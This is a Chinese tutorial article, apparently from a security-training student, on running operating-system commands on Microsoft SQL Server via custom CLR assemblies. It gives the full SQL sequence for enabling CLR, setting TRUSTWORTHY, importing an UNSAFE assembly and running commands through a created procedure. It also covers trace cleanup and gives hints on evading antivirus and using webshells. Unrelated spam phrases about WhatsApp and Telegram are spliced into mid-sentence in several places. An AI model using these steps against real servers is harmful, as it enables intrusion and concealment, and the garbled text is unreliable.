本文作者是i春秋线下就业班结业学员「YongYe」分享的技术文章。
YongYe:现在MSSQL数据库中使用最多的命令执行手段就是xp_cmdshell,但在环境出现问题,例如xp、sp无法使用时,就会让人感到无措。相比之下,CLR技术更加先进,操作面更广,可以更好地解决此类问题。
CLR提供了一种在SQL Server中运行托管代码的方法,这种代码可以用多种编程语言编写,如C#、VB.NET等。通过CLR,我们可以执行更多的任务,解决更多的问题,为数据库管理提供更多的便利。希望通过本文分享,你将学会程序集的生成方法whatsapp web,并DIY自己的程序集。
一、XP_CmdShell与CLR简单对比二、CLR介绍
从SQL Server 2005开始,SQL Server集成了用于Microsoft Windows的.NET Framework的公共语言运行时(CLR)组件。CLR(Common Language Runtime):公共语言运行时是微软推出的.NET Framework的运行时执行环境,它提供了一系列功能来支持.NET程序的运行:
(1)内存管理:CLR自动进行内存分配、垃圾回收等内存管理工作。
(2)类型安全:CLR确保所有对象使用前都正确分配内存和初始化。
(3)错误处理:CLR可以捕捉管理代码运行时出现的系统级错误。
(4)代码访问安全性:CLR执行代码时会进行权限检查,确保代码只能访问它应该访问的资源。
(5)线程管理:CLR创建线程、进行同步和控制线程的执行。
(6)对齐编程语言:不同语言编译成中间语言IL后,由CLR执行,使它们能相互操作。
(7)代码部署:CLR负责把代码编译为本机代码,也进行反射提供运行时类型信息。
这些特点使得CLR非常的强大!利用方式也是非常的多。
三、环境条件
SQL版本:SQL Server 2008 R2_默认配置
测试系统:Win10
CLR编写:Visual Studio 2022
利用条件:sysadmin
四、创建自已的程序集
可以使用网上公开现成的程序集,也可以自已做一个程序集。
1、测试了一下还是Visual Studio方便点,只需要安装最下面数据库操作工具即可。安装完新建一个SQL Server数据库项目。

2、配置一下目标的SQL Sserver版本。

3、下拉配置一下框架版本whatsapp网页版登录,我本机测试直接看的控制面板。实战获取版本也比较方便,冰蝎、哥斯拉连上去都已经搜集好了。
Tips:版本不匹配容易出现问题,程序集无效等。

4、新建SQL CLR存储过程


5、这就是代码模板了,大家自由发挥。

6、编写完生成,程序集就做完了。程序集路径在下面:

进入程序集\bin\Release\,这两个文件是有用的。

(1)Database1.dll文件可用于存在上传点的情况,可以直接上传。记得改名字,不然就上传一个shell.asp。(不推荐该方式:文件直接落地+需要上传点)
(2)Database1_Create.sql文件找到”CREATE ASSEMBLY”这行,这就是我们生成的十六进制程序集。

五、利用流程
1、查看CLR是否开启,看看有没有前辈已经弄好了。(1=ON、0=OFF)
SELECT * FROM sys.configurations WHERE name ='clr enabled'

2、通过sp_configure开启CLR功能。
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

3、如果提示导入不安全程序集/权限等相关问题,尝试以下命令。允许master数据库中的所有CLR程序集不受限制地执行,忽略普通的权限检查。master默认为ON,其它数据库默认OFF。
ALTER DATABASE [master] SET TRUSTWORTHY ON;

执行以下命令可查询是否设置成功。
SELECT is_trustworthy_on FROM sys.databases WHERE name='master'

4、导入我们的程序集,这里有两种方式可以导入,就是之前生成的两个文件:通过16进制导入和通过dll文件导入。
方式1:通过16进制的CLR导入
直接从Database1_Create.sql中复制粘贴即可。


方式2:通过程序集.dll文件导入
通过其它漏洞上传dll文件,执行以下命令导入指定位置的dll。
CREATE ASSEMBLY sp_cmdExec FROM ' C:\Users\admin\source\repos\Database1\Database1\bin\Release\Database1.dll' WITH PERMISSION_SET = UNSAFE

Tips:
(1)方式2中因为dll直接落地,文件会直接被杀软拦截。使用Visual Studio生成程序集都会被直接拦截了。
(2) 方式2中sp_cmdExec为程序集名称,这里不改后面也不要改,不然就会报错。
5、创建存储过程
方式1导入,这样执行。红色部分根据实际程序集内容更改,不然会报错。
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

方式2导入,这样执行。否则会报错找不到xxxxxxx。
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.ExecCommand;

这是我的程序集telegram中文版,可以参考一下。

Tips:WarSQLKit为程序集的名称。
6、命令执行
EXEC sp_cmdExec 'whoami';

7、简单痕迹清理
查询创建的程序集:SELECT * FROM sys.assemblies
删除程序集:DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY
WarSQLKit

关闭CLR
EXEC sp_configure 'clr enabled', 0
RECONFIGURE WITH OVERRIDE

六、总结
整个流程,不上传dll文件。我的某rong很安静。利用的话网上有很多自动化工具,工具虽然被杀。但是不影响操作,正常肯定代理出来远程连接即可。使用工具自动提权(我的某rong反正是很安静),即使存在杀软拦截也有其它办法。因为CLR程序集可以编程,所以你可以做很多事情包括不限于自动化工具已经实现的功能。
工具推荐:WarSQLKit(功能强大/兼容性存在问题)、SharpSQLTools(简单易用)
版权声明
本文仅代表作者观点,不代表百度立场。
本文系作者授权百度百家发表,未经许可,不得转载。




